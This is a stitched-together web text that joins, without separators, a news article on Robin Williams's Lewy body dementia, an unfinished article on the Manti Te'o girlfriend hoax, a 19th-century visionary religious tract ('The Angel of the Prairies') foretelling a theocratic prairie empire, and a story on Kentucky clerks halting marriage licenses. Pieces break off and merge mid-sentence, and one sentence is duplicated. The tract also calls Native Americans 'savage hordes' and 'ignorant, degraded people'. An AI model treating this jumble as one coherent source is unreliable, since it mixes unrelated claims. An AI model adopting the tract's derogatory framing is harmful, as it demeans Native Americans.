Project organizers said they would welcome any sponsors or volunteers.
Segment Sponsored By: Mercy Health System‘I just want to reboot my brain’: How dementia gripped Robin Williams
In the months before his death, Robin Williams was besieged by paranoia and so confused he couldn’t remember his lines while filming a movie, as his brain was ambushed by what doctors later identified as an unusually severe case of Lewy body dementia.
“Robin was losing his mind and he was aware of it. Can you imagine the pain he felt as he experienced himself disintegrating?” the actor’s widow, Susan Schneider Williams, wrote in a wrenching editorial published this week in the journal Neurology.
The title of her piece: “The terrorist inside my husband’s brain.”
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Susan Williams addressed the editorial to neurologists, writing that she hoped her husband’s story would “help you understand your patients along with their spouses and caregivers a little more.”
Susan Williams has previously blamed Lewy body dementia for her husband’s death by suicide in 2014. About 1.3 million Americans have the disease, which is caused by protein deposits in the brain. Williams was diagnosed with Parkinson’s disease a few months before he died; the telltale signs of Lewy body dementia in his brain were not discovered until an autopsy.
The editorial chronicles Williams’s desperation as he sought to understand a bewildering array of symptoms that started with insomnia, constipation, and an impaired sense of smell and soon spiraled into extreme anxiety, tremors, and difficulty reasoning.
“My husband was trapped in the twisted architecture of his neurons and no matter what I did I could not pull him out,” Susan Williams wrote.
For nearly a year, in a painful odyssey that will be familiar to many patients, Williams tried to find out what was wrong with himself — and fix it. He underwent tests and scans, tried new medications, did physical therapy, worked out with a trainer, and sought out alternative treatments like self-hypnosis and yoga.
“He kept saying, ‘I just want to reboot my brain,’” his widow recounted.
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Nothing worked.
Susan Williams traced the first signs of trouble to a celebration of their wedding anniversary, about 10 months before her husband died, when “gut discomfort” made him fearful and anxious. That set off months of escalating problems.
Williams struggled particularly while filming “Night at the Museum 3” in the spring of 2014. He had a panic attack and had trouble remembering “even one line” in his role as Teddy Roosevelt. By contrast, Susan Williams wrote, he had remembered hundreds of lines without error while performing on Broadway three years before.
Another heartbreaking hallmark of the disease: Frequent shifts in and out of clarity.
“I experienced my brilliant husband being lucid with clear reasoning 1 minute and then, 5 minutes later, blank, lost in confusion,” she wrote.
Dr. James Leverenz, a behavorial neurologist at Cleveland Clinic, told STAT that reading the editorial “brings back memories of many different patients I’ve seen with very similar experiences.”
Robin Williams’ frequent moments of lucidity, he said, illustrate what sets the condition apart from advanced Alzheimer’s, where such flashes are rarer. “I’ve had patients with fairly severe Lewy body dementia that will sit in clinic and make actually nuanced jokes with me,” Leverenz said.
After her husband’s death, Susan Williams wrote that she had many long conversations with doctors to retrace and understand what had happened to him. All four doctors who had reviewed his records, she said, “indicated his was one of the worst pathologies they had seen.”
Though she and her husband both craved a diagnosis during those bewildering months before his death, Susan Williams said in retrospect she is “not convinced that the knowledge would have done much more than prolong Robin’s agony” and turn him into “one of the most famous test subjects of new medicines and ongoing clinical trials.”
There are no approved drugs to treat the disease, but Leverenz said that early diagnosis can allow patients to access off-label medications that can be very helpful, atypically so for dementia, to manage their disease. Roughly half of patients get diagnosed while they’re still alive, he said.
Susan Williams has joined the board of the American Brain Foundation, a nonprofit that funds research on neurological illnesses.
“Hopefully from this sharing of our experience,” she wrote, addressing neurologists, “you will be inspired to turn Robin’s suffering into something meaningful through your work and wisdom.”
She added: “Do not give up.”
This story was updated to include comments from a neurologist.Notre Dame, sportswriters and the linebacker himself all deny that the former Heisman Trophy contender had anything to do with the hoax. But the sports world awoke on Thursday with urgent, towering questions
Jeff Gross / Getty Images Notre Dame linebacker Manti Te'o celebrates his team's 22-13 victory over USC in Los Angeles on Nov. 24, 2012.
On Wednesday afternoon, the sports blog Deadspin posted an investigative report showing that the reportedly dead girlfriend of Notre Dame linebacker Manti Te’o possibly never existed — and blew the lid off the Internet. The piece was a paper trail of an investigation going back several years that looked into how the star defensive player for the Fighting Irish could have been fooled by what appears to be an elaborate Internet hoax — or how he could have been involved himself. (Read this summary of the hoax, or follow NewsFeed’s detailed timeline of the “fake” relationship.) Notre Dame, several sportswriters and Te’o himself all deny that the former Heisman Trophy contender had anything to do with the hoax. But the sports world awoke on Thursday with a handful of urgent, towering questions:
How did the hoax go on for so long? Te’o is without a doubt one of the most famous college athletes in the country. How is it that he apparently never introduced friends, family or fans to the girlfriend he’d reportedly been seeing since 2009? And if Te’o was indeed the victim in this hoax, how did he miss any warning signs? While his girlfriend — who claimed to be a 22-year-old Stanford student named Lennay Kekua — was dying of cancer, she reportedly told him not to visit or worry about her. At a press conference last fall, Te’o explained why he stayed in South Bend, Ind., throughout her illness, quoting Kekua: “Babe, if anything happens to me, you promise that you’ll stay there and you’ll play, and you’ll honor me through the way you play.” Even more confounding than trying to determine how the hoax endured for so long is sorting out when it actually began. Although an Oct. 12 article in the South Bend Tribune claims that the first meeting occurred in Palo Alto, Calif., on Nov. 28, 2009, Te’o wrote to Kekua on Twitter nearly two years later to say it was nice meeting her. Just when did the first meeting — whether online or in person — take place?
(MORE: Timeline of a Hoax: Four Years in the Life of Manti Te’o’s ‘Fake’ Relationship)
Who played “Lennay Kekua”? In a statement released on Wednesday, Te’o explained that his relationship with the young woman he knew as Lennay Kekua had been conducted entirely over the phone and online: “This is incredibly embarrassing to talk about, but over an extended period of time, I developed an emotional relationship with a woman I met online. We maintained what I thought to be an authentic relationship by communicating frequently online and on the phone, and I grew to care deeply about her.” (It’s unclear whether he used Skype, for example, or ever saw the person on the other end of the phone.) Who was he speaking to, through the months and years?
Did Te’o and Kekua ever actually meet in person? Te’o and Kekua reportedly met in 2009 at a Stanford–Notre Dame game, although that hasn’t been substantiated. According to media reports, Te’o had been dating Kekua for “nearly a year” at the time of her death. Notre Dame played a game at Stanford on Nov. 26, 2011, but there is no record of teammates or friends meeting Kekua during that game. She also requested that Te’o not come to visit her while she battled the leukemia that would eventually — allegedly — take her life, requesting instead that he simply send white roses and play in her honor, Te’o recalled in an interview on Oct. 4.
Notre Dame athletic director Jack Swarbrick said at a press conference on Wednesday that he met with Te’o on Dec. 27, almost three weeks after the Dec. 6 phone call in which Kekua contacted him and told him she was alive. Swarbrick detailed Te’o’s answer about how the two had met, and when:
“He used the verb ‘we met,’ and he was referring to an online meeting. He responded to an online inquiry. That was the first time he met her. And as part of the hoax, several meetings were set up where Lennay never showed, including some in Hawaii.”
What did Te’o‘s parents really know? In an October interview with the South Bend Tribune, Te’o’s father Brian claimed that the two did indeed meet: “Every once in a while, she would travel to Hawaii, and that happened to be the time Manti was home, so he would meet with her there.” It’s likely that Te’o’s parents were just relating details their son had given them, but it’s unclear whether at any point they were aware of the hoax themselves. What did his parents know, and when did they know it?
Who else was involved in the Kekua persona? Even after Kekua’s alleged death, Te’o reportedly kept in touch with her family. ESPN columnist Gene Wojciechowski was putting together a Even after Kekua’s alleged death, Te’o reportedly kept in touch with her family. ESPN columnist Gene Wojciechowski was putting together a video for SportsCenter in October to chronicle Te’o’s rise to fame and the emotions he went through during the season. On Wednesday, Wojciechowski explained the tension and pushback he encountered when he pressed Te’o for more details about his girlfriend, including photos:
“I remember trying to find an obituary for his girlfriend and could not. And couldn’t find any record of this car accident. But we asked Manti, could we contact Lennay’s family and he said the family would prefer not to be contacted. Could we have some photos of Lennay? He said the family would prefer not to provide those. And so in that instance, and at that moment, you simply think that
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, an English nobleman would have found a pleasant passage for a coach and six in any direction from where I stood. The soil was vastly rich and the surface was smooth and even, the whole landscape resembling
p.7
a boundless field of green wheat interspersed with lilies and sunflowers. With one glance of the eye, I beheld an extent of country sufficient for the home of happy millions. "Here," thought I, "within the reach of my natural vision, might exist an empire more extensive, numerous and wealthy, than some of the most renowned kingdoms of the old world! And yet not one human being possesses the knowledge, courage and ambition to claim it as his own possession. Nay, they would rather seek a precarious subsistence in the streets of some overgrown and populous town, or kill and conquer the inhabitants of some miserable country already overpeopled."
While indulging in this strange reverie--one thought gave rise to another--my narrow heart enlarged and I began to extend my inquiries as to the real boundaries of these mighty and extended fields and their future destiny. I naturally concluded that so fine a country and such vast riches would not always be overlooked by the enterprising and industrious. That immigration would come rolling on in its westward tendency, and with it the march of empire, till these lonely plains would be all peopled and these rich resources made to yield support to happy millions.
With these thoughts still deeply working in my mind, I pursued my journey, and at the close of day arrived at an humble cottage where, with an appetite sharpened by fatigue, I partook of such simple refreshments as the place afforded, and retired to rest, my mind still filled with thoughts more sublimely great, grand and solemn than had ever before occupied my bosom. A deep and unquiet slumber soon came over me, and my mind was carried away in a most extraordinary vision. A messenger of a mild and intelligent countenance, suddenly stood before me, arrayed in robes of dazzling splendor. "Fear not," said he, "thou son of mortal! For I am the Angel of the Prairies. I hold the keys of the mysteries of this wonderful
p.8
country, to me is committed the fate of empires and the destiny of nations. Come then, with me, and I will show thee the secret purposes of fate in relation to this, the most extraordinary of all countries!"
Overjoyed with the information, and gathering confidence from the kind and generous appearance of the messenger, I arose and accompanied him. We were wafted through the air at a rapid rate, for some hundreds of miles, in a western direction, a little bearing to the south. At length we came to a halt in an elevated green and flowery plain on the southern bank of the Missouri river--not far from the line that divides the Indian Territory from the States--a place of surpassing beauty and loveliness.
"Young man," said the Angel of the Prairies, "take this glass and look around thee." He then handed me a curious glass by which I was enabled to view the entire country from sea to sea. Looking to the north, I beheld the extensive and fertile plains of Iowa and Wisconsin, composed chiefly of rich, rolling prairies, interspersed with beautiful groves of timber, and watered with numerous streams, some of which were navigable for hundreds of miles; and others forming numerous and valuable water powers for the propelling of mills and machinery. These fertile and flowery plains and groves extended for many hundreds of miles to the north, and were finally terminated by large and extensive forests of pine, which could easily be rafted down the currents of the numerous streams, and be used in the erection of buildings, towns and cities, throughout the whole extent of the unlimited prairies. The central portion of these vast territories abounded in rich ores, such as lead, iron and coal; and the northern portions abounded in copper. The vegetable, mineral and commercial resources of these territories seemed capable of sustaining and employing one hundred millions of people, while at present they contained hardly as many thousands.
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Turning from these, I looked eastward, where the states of Missouri, Arkansas and Illinois presented a vast territory of some five hundred miles in extent, similar in fertility and resources to the territories above described, consisting of rich, beautiful and fertile prairies, mingled with delightful groves of timber, and penetrated with numerous large and expansive rivers, on the bosom of which might float the commerce of nations and empires. These states were calculated to sustain at least another hundred millions of souls, although at present not occupied by one million.
After viewing with wonder and delight these beautiful states, I cast my eyes toward the south and southwest. The vision now lengthened in the distance, and some thousands of miles of country expanded to my view, including the vast plains, and fertile forests and vales of Texas and Mexico; still presenting a vast quantity of unlimited meadows and prairies, rich and beautiful as Eden, and abounding in vegetable and mineral wealth. These countries were abundantly sufficient to sustain two hundred millions more of inhabitants, although at present possessing a population of less than ten millions.
Having contemplated the green fields, the flowery plains, the dense forests and towering mountains of this vast country till lost and overwhelmed in astonishment, I turned to the west. Here I beheld a tract of country lately surveyed and appropriated for the location of the Indian tribes. It was bounded on the east by the states of Missouri and Arkansas, on the south by Texas, on the west by the Great American Desert and on the north by the almost unexplored and inhospitable regions of Canada, or more properly by the Missouri river, embracing some six hundred miles from north to south, and some two hundred from east to west. This, like the countries before described, abounded in alternate rich, rolling prairies and woodlands, capable for sustaining a population of at least fifty millions; al-
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though at present peopled with a few Indian tribes consisting of less than half a million.
"Young man," said the Angel of the Prairies, "you have now beheld the great meadows of the West, an almost unbroken and continuous field of prairie, bounded on the east by the Wabash and Lake Michigan, on the north by the prairies of Wisconsin and Iowa, on the west by the Great Desert, and on the south by Central America, and averaging some three thousand miles long and some seven hundred broad; being mostly a rich and fertile plain, watered like Eden, and more productive than the plains of Euphrates. Its people are at present few, but its resources are immense, and it is abundantly calculated to sustain at least one half of the present population of the globe. You now stand in a central position, in the midst of the great American continent. Here is the spot which is destined for the seat of empire, and here shall the ambassadors of all nations resort with a tribute of homage to a greater than Cyrus.
"The seat of empire," continued he, "began in the eastern Eden, but its progress has always been westward. It lighted on the plains of Euphrates, where, under Nimrod, Nebuchadnezzar, Cyrus, Alexander and others, it rested for a time. But, migrating still westward, it took its seat in Palestine, and finally on the banks of the Nile, from whence it passed to Rome in Italy, where it swayed a long and bloody sceptre, and in course of time penetrated to the western islands of Europe, where it sojourned for a time as if to prepare for a voyage. Holding still its sea-girt throne, it sent out a forlorn hope, a kind of advance guard to prepare its way in the wilderness. These parsed over the great waters and finally strengthened themselves until they founded a seat of government on the extreme eastern shore of this vast continent. This was in the infancy of the American Republic, quite central and convenient. On this account some narrow minded mortals,
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taking only a momentary view of the subject, supposed that the seat of empire, after progressing for thousands of years, had now found a resting place where it would tarry forever. Poor mistaken mortals, how little did they know of the country they were in, and how much less of the decrees of infinite wisdom!"
These words being ended, the Angel of the Prairies bade me tarry awhile on this second spot, and he would then return and unfold to me the mysteries of the future, and the hitherto secret and impenetrable decrees of fate. With this charge he vanished from my sight. A mist of darkness suddenly overspread the landscape--a veil of oblivion enshrouded me round, and the whole scene was shut from my view. Indistinct shadows and confused forms occupied my imagination and troubled my slumbers, and finally a long time seemed to pass away without any distinct recollection of events. Suddenly a hand touched me, and a voice exclaimed, "Mortal, awake! The Angel of the Prairie, has returned, and the time is fulfilled. Arise! Stand up-right, and look around thee." At the voice of his words I seemed to awake as from a deep sleep, the darkness dispersed, and light ineffable shone around me. I found myself in the same central position where he had left me, and which he had pointed out as the final seat of empire. But oh! how changed!
Instead of a flowery plain without inhabitants, I beheld an immense city, extending on all sides and thronged with myriad's of people, apparently of all nations. In the midst of this city stood a magnificent temple, which, in magnitude and splendor, exceeded everything of the kind before known upon the earth. Its foundations were of precious stones; its walls like polished gold; its windows of agates, clear as crystal; and its roof of a dazzling brightness, its top, like the lofty Andes, seemed to mingle with the skies; while a bright cloud overshadowed it, from which extended rays of glory and brightness in all the magnificent colors of the
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rainbow. The whole buildings thereof seemed to cover some eight or ten acres of ground. "This," said the Angel of the Prairies, "is the sanctuary of freedom, the palace of the great King, and the center of a universal government. Follow me and you shall behold the magnificence, order and glory of His kingdom." So saying, we walked together to the gates of the temple. These were twelve in number; three on each side, and all standing open. Numerous parties and servants were in waiting, and guides and instructors were busy in attendance on strangers, who were passing to and from the temple, with an air of confident freedom, and clad in mingled and varied costumes of all nations.
By a secret watchword from the Angel to the porter or keeper of the gate, we were permitted to pass the eastern centre gate into the court yard. This was a large square surrounding the temple, and containing a square mile of land, enclosed with a strong wall of masonry, and ornamented with walks, grass plots, flowers and shady groves of ornamental trees, the whole arranged in the most perfect taste, and with an elegance, neatness and beauty, that might well compare with Eden. Here the eye was dazzled with scenes of beauty, the ear saluted with innumerable strains of music from birds of varied notes and plumage. And here the balmy breath of morn seemed perfumed with sweets more delicious than the spicy groves of Arabia. Here, in short, the entire senses seemed overwhelmed with enjoyment and pleasure indescribable. Passing along a spacious walk, in the midst of scenes like these, he came to the eastern door of the temple, over which was inscribed, in letters of gold, the following:
"Here wisdom, knowledge and truth are blended!
Here mercy reigns and war is ended!
Here on these grounds all nations enter;
But here a tyrant dare not venture!"
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On entering the outer court, we found ourselves in a large and splendid room, inside of which were doors opening in every direction, over which were inscribed the particular uses for which they were occupied. This outer court was ornamented and finished with monuments, paintings, maps, charts, engravings, etc., all of which were not only ornamental but highly instructive, and calculated to impart a world of information on astronomy, geography, history, geometry, theology, etc., etc. Among these, my attention was drawn to a large painting which represented huge piles of broken iron, and antique weapons of every description, heaped up together in the greatest confusion, from the ancient bow of steel, or the wooden bow and arrow and war club of the savage, to the most polished and renowned implements of modern warfare. All these were laid aside as useless, and men were represented in the act of beating swords into ploughshares and spears into pruning hooks.
"These," said the Angel of the Prairies, "are the implements of murder and cruelty with which poor, ignorant, mistaken mortals once made war upon each other; but they have long since been laid aside as useless, and the arts of war are no lodger studied or practiced on the earth." After viewing these things, my guide conducted me to a door, which opened into the inner course, and over which was written as follows:
"Within is freedom's throne exalted high!
Where, crowned with light and truth and majesty,
A royal host in robes of bright array,
Their peaceful sceptre o'er else nations sway."
On entering this room, a vast and extensive hall was opened before me, the walls of which were white and ornamented with various figures which I did not understand. In the midst of this hall was a vast throne as white as ivory, and ascended by seventy steps, and on
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either side the throne and of the steps leading to it, there were seats rising one above another. On this throne was seated an aged, venerable looking man. His hair was white, with age, and his countenance beamed with intelligence and affection indescribable, as if he were the father of the kingdoms and people over which he reigned. He was clad in robes of dazzling whiteness, while a glorious crown rested upon his brow; and a pillar of light above his head, seemed to diffuse over the whole scene a brilliance of glory and grandeur indescribable. There was something in his countenance which seemed to indicate that he had passed long years of struggle and exertion in the achievement of some mighty revolution, and been a man of sorrows and acquainted with grief. But, like the evening sun after a day of clouds and tempest, he seemed to smile with a dignity of repose. In connection with this venerable personage sat two others scarcely less venerable, and clad and crowned in the same manner. On the next seat below were twelve personages, much of the same appearance and clad in the same manner, with crowns upon their heads; while the descending seats were filled with some thousands of noble and dignified personages, all enrobed in white and crowned with authority, power and majesty, as kings and priests presiding among the sons of God.
"You now behold," said the Angel of the Prairies, "The Grand Presiding Council organized in wisdom, and holding the keys of power to bear rule over all the earth in righteousness. And of the increase and glory of their kingdoms their shall be no end." As he spoke thus, bands of instrumental music filled the temple with melody indescribable, accompanied with human voices, both male and female, all chiming in perfect harmony in a hymn of triumph, the words of which I could only understand in part. But the concluding lines were repeated in swelling strains of joy. They were as followers:
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"Tho' earth and its treasures should melt in the fire,
And the starlight of heaven wax dim and expire;
Tho' yon planets no longer revolve in their spheres,
The earth make its day, or its circuit of years;
Tho' the fountain of joy all its light shall withhold,
And the moons and Sabbaths shall cease to behold;
Yet firm and unshaken this throne shall remain,
And the heirs of Old Israel eternally reign."
As the music ceased, the Angel said:
"Son of mortal! ascend with me, and I will show you the country which we explored together at the first." At this instant a door was opened, which we entered, and commenced to ascend a flight of steps. These gradually ascended upwards through a long and winding passage, till at length we found ourselves on a pinnacle of the temple. The air was pure and mild, the sky was clear, and the vision expended far and wide on all sides, without an intervening object. My guide now handed me the same curious glass in which I had formerly viewed the country. But now how different, how wonderful the change of all things around me! Instead of lone prairies and wild and dreary forests, I now beheld one vast extent of populous country. Cities, towns, villages, houses, palaces, gardens, farms, fields, orchards, and vineyards extended in endless variety where once I beheld little else but loneliness and desolation.
"This," said the Angel of the Prairies, "is the country in which, one hundred years ago, you commenced to explore, in your journey to the west. Behold," continued he, "what truth and knowledge and perseverance can accomplish in a single century." To this I replied: "I am lost in wonder and amazement, and can hardly understand what I see. Who are these populous nations and tribes, who in happy myriads occupy the country immediately to the west, which was formerly occupied by savage hordes, but which now presents one
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vast scene of neatness, beauty, civilization and happiness? Have the Indian tribes, then, been entirely exterminated, and their country overrun by civilized nations?"
"Nay," said he, "these are still the Indians. A mysterious Providence preserved their remnants, and gathered and concentrated them into one peaceful nation. When they were first brought together from all parts of the continent, they numbered a population of about seven millions of ignorant, degraded people. But the light of truth dawned upon them, and with it came all the blessings of peace, plenty, civilization, cleanliness, and beauty, which you behold, and they constitute some thirty-five millions, and occupy all the country west of the Mississippi and bordering on the Rocky Mountains.
After viewing these beautiful settlements and hearing this interesting account of tribes and nations which I had been traditioned to believe could never be tamed, but were destined to perish from the earth, I turned toward the east and inquired after the great family of States which had once constituted the united Republic of E Pluribus Unum. These, I believed, were vastly more populous and wealthy than formerly. But they seemed no longer identified as States, with their former geographical boundaries and political forms of government. At this I was greatly astonished, as I had been early impressed with the idea of the future greatness and permanency of our national institutions. Turning to the guide, I inquired by what strange connection of events or by what mighty revolutions the American system had been dissolved, and its elements blended with this great central and universal government, which, notwithstanding my former prepossessions, I was constrained to acknowledge as far superior in excellence, glory and perfection to the former. To this inquiry the Angel of the Prairies replied as follows:
"The American system was indeed glorious in its beginning, and was founded by wise and good men, in op-
p.17
position to long established abuses and oppressive systems of the Old World. But it had its weakenesses and imperfections. These were taken advantage of by wicked and conspiring men, who were unwisely placed at the head of government, and who, by a loose and corrupt administration, gradually undermined that beautiful structure. In their polluted hands justice faltered, truth fell to the ground, equity could not enter, and virtue fled into the wilderness. A blind, sectarianized and corrupt populace formed themselves into numerous mobs, overturned the laws, and put at defiance the administration thereof. These were either joined by the officers of Government or secretly winked at and encouraged by them, until the injured and persecuted friends of law and order, finding no protection or redress, were forced to abandon their country and its institutions, now no longer in force, and to retreat into the wilderness, with the loss of a vast amount of property and many valuable lives. These carried with them the spirit of liberty which seemed as a cement to form them into union, and thus was formed a nucleus around which rallied by decrees all the virtue and patriotism of the nation. Thus rallied and re-organized, the bold and daring sons of liberty were able to stand in their own defense, and to hurl defiance upon their former enemies. Thus the spirit of freedom had withdrawn from the mass and they were abandoned, like king Saul of old, to destruction. Divisions and contentions arose, and multiplied to that degree that they soon destroyed each other, deluged the country in blood, and thus ended the confederation under the title of E Pluribus Unum.
"The remnant who fled into the wilderness and rallied to the standard of liberty on the plains of the West, combining the wisdom of former experience with the light of truth which shone into their hearts from above, laid the foundation of their perfect form of government--this mighty empire of liberty which you now see, and the institutions of which you shall be more fully
p.18
informed in due time. The wisdom, intelligence and peace which flowed from this centre soon served as an ensign to the nations abroad. This filled some with envy, others with admiration and delight. The good, the great, the noble, the generous and patriotic lovers of truth rallied from all nations, and joining the standard of freedom, were a constantly increasing strength to their near and perfect organization. While by the same means the old and corrupt institutions were proportionately weakened and abandoned. This soon stirred the envy and jealousy of old and corrupt popovers to that degree that they united in a general declaration of war against their young and more prosperous neighbors. These allied powers sent out an armament of five hundred ships of the line, and half a million of men. Their object was not only to gratify their vengeance and envy, but their avarice and ambition. They aimed at nothing less than the subjugation and plunder of the whole country. These powers were a portion of them landed, with implements and effects, and the remainder reserved on board their ships. They were met by the sons of liberty, both by sea and land, who were at length victorious, and this whole army were overcome, and their riches and armor, which was immense, were taken for spoil. This brilliant victory greatly enriched and strengthened the new empire of freedom, and at the same time nearly ruined the nations who commenced the war. They sued for peace, and finally obtained it on condition of perfect submission to the will of the conquerors. This gave them new and liberal laws and institutions, broke off the fetters of their old masters, and utterly forbade the use of arms or the art of war. These brilliant and highly commendable measures soon opened the eyes of millions more, and won them to the cause of liberty and truth. Other and distant nations, who had watched all these movements at length, saw the beauties of liberty and felt the force of truth, till finally, with one consent, they joined the same standard.
p.19
Thus, in one short century, the world is revolutionized; tyranny is dethroned; war has ceased forever; peace is triumphant, and truth and knowledge cover the earth."
Thus spake the Angel of the Prairies; and when he had ceased to speak, I still continued to listen; for such a blaze of glory and intelligence burst at once upon my view, and events so passing strange, so complicated, so unlooked for, had taken place in a single century, and had been related to me in so masterly a manner, that I stood overwhelmed with astonishment and wonder, and could hardly believe my senses. "Is it possible," thought I, "that a republic founded upon the most liberal principles, and established by the sweat and blood and tears of our renowned ancestors, and so cherished and respected by their children, has faded like the dazzling splendor of the morning's dawn? has withered like an untimely flower? and that, too, by the corruption of its own degenerate sons, the very persons who should have cherished it forever? Where was the spirit of patriotism, of freedom, of love of country which had once characterized the sons of liberty, and warmed the bosoms of Americans?"
With reflections like these I had commenced a lamentation over my fallen, lost and ruined country. But suddenly recollecting myself, and calling to mind the other events which had been related, my sorrow was turned into joy. I saw, although there had been great corruption and a general overthrow of our government and its institutions, yet many of the sons of noble sires had stood firm and unshaken in the cause of freedom; even amid the wreck of states and the crash of thrones, they had maintained their integrity, and when they had no longer a country or government to fight for, they retired to the plains of the West, carrying with them the pure spirit of freedom. There, in the midst of a more extensive, a richer and a better country, they had established a government more permanent, strong and lasting, and vastly more extensive and glorious, combining
p.20
strength and solidity, with the most perfect liberty and freedom. Nor had their labors been confined to the narrow limits of their own immediate country and nation, but had burst the chains of tyranny and broken the yoke of bondage from the growing millions of all nations and colors; and where darkness, ignorance, superstition, cruelty and bloodshed had held dominion for ages, light had sprung up, truth had triumphed, and peace had commenced its universal reign. And where, a century ago, an extensive and fertile country lay desolate and lone, or partially occupied by ignorant and cruel savages, hundreds of millions of intelligent and happy beings were now enjoying all the sweets of domestic felicity. Why then, thought I, shall I mourn? The labors of our fathers were not in vain. On the contrary, the results have been a thousand times more glorious than their most sanguine expectations. The spirit of their institutions has been cherished and maintained. Their temple of liberty enlarged and perfected while the dross has been separated and destroyed, and the chaff blown to the four winds.
While these thoughts were passing in my mind, the Angel of the Prairies again called my attention. "Come," said he, " son of mortal, let us descend from this high eminence and enter the archives of the Temple of Freedom, and there you shall learn the secret springs, the fountain from which has emanated all this wisdom and greatness. You will then no longer wonder at the magnitude of this glorious organization, the perfection of its principles, or its unparalleled success." So, saying, we descended together through the same long and winding passage, till a door opened into a vast room in the second story of the building, which was gloriously finished and ornamented, and principally occupied with collections of antiquities and monuments and paintings, memorializing numerous and important events. Passing through in the midst of these, we entered a small room in which was carefully deposited
p.21
numerous sacred books and records. From the midst of these the Angel of the Prairies selected a small volume entitled: "A true and perfect system of Civil and Religious Government, revealed from on High."
He then bade me be seated, gave me this book, and bade me read. So saying, he vanished from my sight. I opened the book and read the preface as, follows:
"There is a God in heaven who revealeth secrets. Wisdom and might are His. He changeth the times and the seasons. He removeth kings and setteth up kings. He giveth wisdom unto the wise and knowledge unto them that know understanding. His dominion is an everlasting dominion, and His kingdom is from generation to generation. He doth according to His will in the armies of heaven, and among the inhabitants of the earth. And none can stay His hand, or say unto Him, `What doeth thou?' All His works are truth, and His ways are judgment, and those that walk in pride He is able to abase. His kingdom is that which shall not be destroyed, and His dominion shall be even unto the end. As the Maker of the earth and the Father of the people, all power and authority of civil and religious government is vested in Him. He holds the prerogative of electing the officers and making the laws; He holds the right of reproving and admonishing the officers or of removing them at pleasure. Therefore all the forms of civil and religious government which are not appointed, organized and directed by divine revelation, are more or less imperfect and erroneous, and the administration thereof extremely liable to corruption and abuse. The only perfect system of government, then, is a Theocracy; that is, a government under the immediate, constant and direct superintendency of the Almighty. This order of government commenced in Eden, when God chose Adam for a ruler and gave him laws. It was perpetuated in his defendants, such as Seth, Enoch, Noah, Melchisedec, and so on, till it came down to Abraham, and was made hereditary in his seed
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forever. As it is written, `Kings shall be of thee, and princes shall come out of thy loins.'
"It was manifested clearly in Egypt--Pharaoh himself being instructed and governed by Joseph, as a revelator. Moses also delivered a nation from slavery, dethroned a tyrant, and governed in all things by these same principles. By these Joshua conquered, and by these the Judges of Israel ruled. By this authority Samuel reproved and displaced a corrupted priesthood, in the case of Eli and his sons. By it he annoints King Saul to reign in Israel, and by it he afterwards rejected him for transgression and anointed David in his stead. By virtue of this authority Elijah reproved and rejected Ahab and the priests of Baal, and then proceeded to anoint Jehu king and Elisha for prophet, and by this means remodeled the civil and religious administration of affairs, and saved a nation from the lowest depths of corruption and ruin. By this power, Daniel, the prophet, reproved and instructed Nebuchadnezzar, displaced Belteshazzar, and directed Cyrus; continually impressing upon kings and nations this one important principle, viz: `That God is a revealer of secrets, and claims the right of government over kings and potentates of the earth." To convince Nebuchadnezzar of this one fact, he was driven out from his throne and from the society of men, to dwell among the beasts of the field and to eat grass as the ox, and afterwards restored to his kingdom again. And to convince all nations of this fact, King Nebuchadnezzar wrote his epistle to all nations and languages, in which he bore testimony to the same.
"By this authority Jesus Christ received all power in heaven and on earth, and was therefore seen by the prophet Daniel, coming in the clouds of heaven, to reign over all the earth. By this authority His Apostles governed those who would receive His kingdom in their day--being themselves chosen by the Lord, and not by the people. By this same authority the Gentile
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Church and people would have been governed from that day to the present, without a schism or division of church or state, were it not for corruption and wickedness, which made war with the Saints, and overcame them, and changed times and laws, as was foretold by the prophet Daniel.
"By this authority the God of heaven promised, by all the holy prophets, that He would set up a kingdom that should destroy and break in pieces all these kingdoms, become universal, and stand forever. And that He would do this by the sitting of the Ancient of Days, whose raiment was white as snow, and whose hair was like the pure wool; while thousands of thousands ministered unto him, and ten thousand times ten thousand stood before him, and judgment was given to the Saints, and the time came that the Saints possessed the kingdom.
"By this authority the God of heaven has fulfilled that which He spoke by the mouths of His ancient prophets, by revealing from heaven and appointing and establishing a glorious kingdom which shall stand forever.
"Therefore sing, O Heavens!
And be joyful, O Earth!
For truth has triumphed;
Wisdom and knowledge rule;
Righteousness reigns;
And earth rests in lasting peace."
Thus ended the preface. I was about to read further, but was interrupted by the Angel of the Prairies. "Son of mortal," said he, "you have now read all you are permitted to read at the present time." So saying, he replaced the little book amid the archives of the temple, and bade me follow him. He then conducted me out of the temple, and said:
"Son of mortal, you now understand the nature of
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the government have beheld. You see it is not a human monarchy, for man-made kings are tyrant. It is not an aristocracy, for in that case the few trample upon the rights of the many. It is not a democracy, for mobs composed of the mass, with no stronger power to check them, are the greatest tyrants and oppressors in the world. But it is a theocracy, where the great Eloheim, Jehovah, holds the superior honor. He selects the officers. He reveals and appoints the laws, and He counsels, reproves, directs, guides and holds the reins of government. The venerable Council which you beheld enthroned in majesty and clad in robes of white, with crowns upon their heads, is the order of the Ancient of Days, before whose august presence thrones have been cast down, and tyrants have ceased to rule. You have understood the secret purposes of Providence in relation to the prairies and the West, and of the earth and its destiny. Go forth on your journey, and wander no more; but tell the world of things to come."
At this I awoke, and behold, it was a dream. Instead of a glorious kingdom and city and temple, I beheld the morning sun shining through the crevices of the log cabin where I lodged. Instead of a century numbered with the past, I had spent a night of disturbed and unquiet slumber; and instead of the Angel of the Prairies standing by my side in the act of unfoldingFRANKFORT, Ky. — One of Kentucky’s top Democratic leaders has asked for a special session of the state legislature after some county clerks of court stopped issuing marriage licenses despite the U.S. Supreme Court ruling legalizing same-sex marriage.
But it’s unclear what House Speaker Greg Stumbo wants the legislature to do. Stumbo said Tuesday that he is drafting legislation to help address the issues some of the state’s county clerks are having. But he did not say what those issues were, and a spokesman for his office declined to elaborate.
The legislature adjourned for the year in April. Only the governor can call them back into session. A spokesman for Gov. Steve Beshear did not immediately respond to request for comment.
“Now that the Supreme Court has ruled, I believe all states need to look at their laws to see what changes might need to be made to comply with federal law,” Stumbo said. “States need to act quickly so that there is certainty and consistency in the application of the new law.”
At least two county clerks of court have stopped issuing all marriage licenses following the Supreme Court’s ruling. The American Civil Liberties Union has sued Rowan County Clerk Kim Davis after she refused marriage licenses to two gay couples and two straight couples. A hearing in that case is scheduled for Monday in Ashland.
Casey County Clerk Casey Davis has also stopped issuing marriage licenses. On Monday, he asked to meet with Beshear to press him to call a special session so lawmakers could pass a law allowing people to purchase marriage licenses online, taking the responsibility away from county clerks.
